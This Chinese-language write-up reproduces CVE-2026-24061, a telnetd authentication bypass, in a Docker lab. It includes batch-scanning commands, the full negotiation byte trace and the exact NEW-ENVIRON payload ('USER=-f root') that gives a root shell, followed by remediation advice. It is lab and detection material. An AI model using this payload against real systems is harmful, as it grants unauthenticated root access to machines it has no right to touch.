CVE-2026-24061 复现说明
CVE-2026-24061 复现说明GNU inetutils-telnetd 远程认证绕过漏洞CVSS 9.8 (CRITICAL) - 无需认证即可获取 root shell漏洞信息项目内容CVE IDCVE-2026-24061影响产品GNU Inetutils telnetd (v1.9.3 ~ v2.7)漏洞类型认证绕过 (CWE-88: 命令参数注入)CVSS 评分9.8 (Critical)公开时间2026-01-20利用方式远程、无需认证、无需交互漏洞原理telnetd 在处理客户端通过NEW-ENVIRON子协商发送的USER环境变量时会将其值传递给login程序。攻击者将USER设为-f root导致 telnetd 执行的命令行变为/bin/login -p -h host -f rootlogin的-f参数表示跳过密码认证该用户已预认证从而直接以 root 身份登录。环境搭建Docker 容器安装1. 构建镜像使用项目目录下的dockerfile内容在下方# 构建镜像dockerbuild-fdockerfile-tvuln-telnetd.# 运行容器 (将 2323 端口映射到容器的 23 端口)dockerrun-d--nametelnet-lab-p2323:23 vuln-telnetd2. 确认容器运行dockerps# 应看到类似输出:# CONTAINER ID IMAGE COMMAND PORTS NAMES# 4d765c614540 vuln-telnetd /usr/sbin/inetd -d 0.0.0.0:2323-23/tcp telnet-lab3. 降级 telnetd 服务 (重要)由于版本更新新构建的 Docker 镜像中inetutils-telnetd可能已被修复需要降级到有漏洞的版本。进入容器并执行以下命令容器中没有wget可在外部下载后安装# 进入容器dockerexec-ittelnet-labbash# 下载有漏洞的旧版本wgethttp://archive.ubuntu.com/ubuntu/pool/universe/i/inetutils/inetutils-telnetd_2.5-3ubuntu4_amd64.deb# 强制降级安装dpkg --force-downgrade-iinetutils-telnetd_2.5-3ubuntu4_amd64.deb# 锁定版本防止 apt upgrade 自动升级apt-mark hold inetutils-telnetd# 重启 inetd 服务pkill-HUPinetd验证降级后的版本dpkg-linetutils-telnetd# 版本应为 2:2.5-3ubuntu4 (无 .2 后缀)Dockerfile 内容项目目录下的dockerfile内容如下FROM ubuntu:24.04 # 避免交互式安装提示 ENV DEBIAN_FRONTENDnoninteractive # 更新软件源 安装必要的软件包 清理缓存 RUN apt-get update \ apt-get install -y \ openbsd-inetd \ inetutils-telnetd \ telnet \ passwd \ apt-get clean \ rm -rf /var/lib/apt/lists/* # 启用 telnet 服务把 #off# 开头的行取消注释 RUN sed -i s/^#off# telnet/telnet/ /etc/inetd.conf # 设置 root 密码生产环境强烈不建议这样做仅用于测试/学习 RUN echo root:root123 | chpasswd # 暴露 telnet 默认端口 EXPOSE 23 # 启动 inetd-d 表示 debug 模式会在前台输出日志便于调试 CMD [/usr/sbin/inetd, -d]漏洞复现使用 Python 脚本# 交互式模式python cve_2026_24061_telnetd.py127.0.0.12323# 管道模式 (批量命令执行)echoid; whoami; uname -a|python cve_2026_24061_telnetd.py127.0.0.12323使用 Yaklang 检测脚本支持批量扫描自动记录漏洞到 Yakit 数据库# 单个目标yak cve_2026_24061.yak--host127.0.0.1--port2323# 批量扫描yak cve_2026_24061.yak--host192.168.1.1,192.168.1.2检测到漏洞后结果会通过risk.NewRisk()自动入库可在 Yakit 漏洞管理界面查看。漏洞利用流程详解Telnet 协议完整交互过程通过 Python 调试脚本抓取的实际字节流步骤 1: 客户端连接服务器 步骤 2: 客户端发送 WILL NEW-ENV WILL OLD-ENV ff fb 27 ff fb 24 步骤 3: 服务器回复 21 字节选项协商 ff fb 25 IAC WILL 37 (AUTH) ff fb 26 IAC WILL 38 (ENCRYPT) ff fd 18 IAC DO 24 (TTYPE) ff fd 20 IAC DO 32 (TSPEED) ff fd 23 IAC DO 35 (X-DISPLAY) ff fd 27 IAC DO 39 (NEW-ENV) ff fd 24 IAC DO 36 (OLD-ENV) 步骤 4: 客户端逐条回复 (注意: DO 36 回 WONT 而非 WILL) ff fe 25 DONT 37 ff fe 26 DONT 38 ff fb 18 WILL 24 (TTYPE) ff fb 20 WILL 32 (TSPEED) ff fc 23 WONT 35 ff fb 27 WILL 39 (NEW-ENV) ff fc 24 WONT 36 (OLD-ENV) ← 关键必须回 WONT 步骤 5: 服务器发送 18 字节 SB SEND 子协商 ff fa 20 01 ff f0 SB TSPEED SEND ff fa 27 01 ff f0 SB NEW-ENV SEND ff fa 18 01 ff f0 SB TTYPE SEND 步骤 6: 客户端逐条回复 SB IS (含攻击载荷) ff fa 20 00 33 38 34 30 30 2c 33 38 34 30 30 ff f0 TSPEED IS 38400,38400 ff fa 27 00 00 55 53 45 52 01 2d 66 20 72 6f 6f 74 ff f0 NEW-ENV IS VAR USER VALUE -f root ff fa 18 00 78 74 65 72 6d ff f0 TTYPE IS xterm 步骤 7: 后续还有两轮额外协商 (不能跳过) 第1轮: 服务器发 21 字节 → 客户端回 DO 3 / WONT 1 / WONT 34 / WONT 31 / DONT 5 / WONT 33 第2轮: 服务器发 9 字节 → 客户端回 DO 1 / WONT 6 / WONT 0 步骤 8: 服务器发送 MOTD 和 Shell 提示符 (543 字节) Linux 6.18.33.2-microsoft-standard-WSL2 ... root4d765c614540:~# 步骤 9: 客户端发送 id\r\n服务器返回 uid0(root)攻击载荷字节解析ff fa 27 00 00 55 53 45 52 01 2d 66 20 72 6f 6f 74 ff f0字节含义ff faIAC SB (子协商开始)27选项: NEW_ENVIRON (39)00子类型: IS00变量类型: VAR (标准变量)55 53 45 52“USER”01VALUE (值分隔符)2d 66 20 72 6f 6f 74“-f root”ff f0IAC SE (子协商结束)检测脚本实现Python 版 (cve_2026_24061_telnetd.py)函数功能TelnetExploit.__init__()初始化目标和参数TelnetExploit.connect()建立 TCP 连接 (非阻塞)TelnetExploit.send_exploit()构造并发送 NEW_ENVIRON IS 载荷TelnetExploit.handle_negotiation()解析服务器数据即时回复协商应答TelnetExploit.run()主循环 (select 轮询 即时响应)Yaklang 版 (cve_2026_24061.yak)使用tcp.Connect()模块关键实现要点// 安全转换: string([]byte{byte(n)}) 而非 string(byte(n)) o2s func(opt) { return string([]byte{byte(opt)}) } // 1秒读取窗口避免 ReadFast 的 300ms 空闲超时 fetch func(conn) { conn.SetTimeout(1) raw, e conn.RecvString() if e ! nil || len(raw) 0 { return } return raw } // 连续读取循环 即时 IAC 处理 (不能一次发完所有应答) handleIAC func(conn, data) { ... }Yaklang 开发踩坑记录问题现象解决方案string(byte(24))产生24(2 字节) 而非\x18(1 字节)用string([]byte{byte(opt)})替代conn.ReadFast()300ms 空闲超时服务器响应间隔 300ms 时漏数据改用conn.RecvString()SetTimeout(1)string(conn.ReadFast())把([]byte, error)元组整体转字符串先解包raw, err ...再string(raw)一次性发完所有 DO/WILL 应答服务器卡住不再继续协商分多轮读→处理→读→处理 (约需 5-8 轮)DO 36 (OLD-ENV) 回 WILL服务器回 DONT 50/51 并断开必须回 WONT 36(Python 版也如此)sendEnvONLY ONE env只需一次 NEW-ENV SB IS 注入对齐 Python 版只注入 NEW-ENVreadResp只读一轮漏掉步骤 7 的两轮额外协商用 15 秒持续循环替代固定步骤完整协议流程成功利用需要经过的协商轮次Python 版实测第1轮: 读 21 字节 → 回 21 字节 (DO/WILL 应答, 含 WONT 36) 第2轮: 读 18 字节 → 回 47 字节 (SB IS, 含 EXPLOIT) 第3轮: 读 21 字节 → 回 18 字节 (额外协商) 第4轮: 读 9 字节 → 回 9 字节 (额外协商) 第5轮: 读 543 字节 (MOTD Shell 提示符!) 第6轮: 发送 id → 读 108 字节 (uid0(root))调试脚本Python 调试版 (telnet_debug.py)逐字节 hexdump 每次收发数据方便对比协议实现python telnet_debug.py127.0.0.12323Yaklang 调试版在cve_2026_24061.yak中设置dumpHex(RECV, d)即可打印每次收到的 hex 数据。已知问题Windows 兼容性Python 脚本在 Windows/MINGW 环境下使用select.select()时sys.stdin不在支持的 fd 列表中。已通过 threading 方式修复交互式模式和管道模式均可正常工作。Yaklangsock模块不可用部分 Yakit 环境中sock.NewTcpSock()不可用需要使用tcp.Connect()替代。修复建议升级inetutils-telnetd到2.5-3ubuntu4.1及以上版本禁用 telnet 服务改用 SSH通过防火墙限制 telnet 端口的访问参考文献GNU InetUtils 安全公告 (oss-security)补丁: telnetd: Sanitize all variable expansionsUbuntu 安全公告 USN-7992-1GreyNoise 利用分析NVD 条目CVE-2026-24061 telnet远程认证绕过CVE-2026-24061复现